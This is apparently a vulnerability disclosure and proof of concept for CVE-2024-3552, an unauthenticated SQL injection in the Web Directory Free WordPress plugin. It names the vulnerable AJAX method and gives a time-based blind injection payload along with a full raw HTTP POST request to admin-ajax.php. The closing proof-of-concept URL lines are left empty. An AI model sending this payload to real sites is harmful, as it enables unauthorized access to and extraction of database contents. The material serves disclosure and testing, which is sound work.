CVE-2024-3552 Web Directory Free <= 1.6.9 - Unauthenticated SQL Injection
Description
The Web Directory Free plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 1.6.9 due to insufficient escaping on a user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
File: /web-directory-free/classes/ajax_controller.php
Class: w2dc_ajax_controller
Method: get_map_marker_info
Payload: action=w2dc_get_map_marker_info&locations_ids[]=(select+if(1=1,sleep(5),0)+from+(select+1)x)
Raw request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
action=w2dc_get_map_marker_info&locations_ids[]=(select+if(1=1,sleep(5),0)+from+(select+1)x)
Poc:
Url paload false:
Url paload true: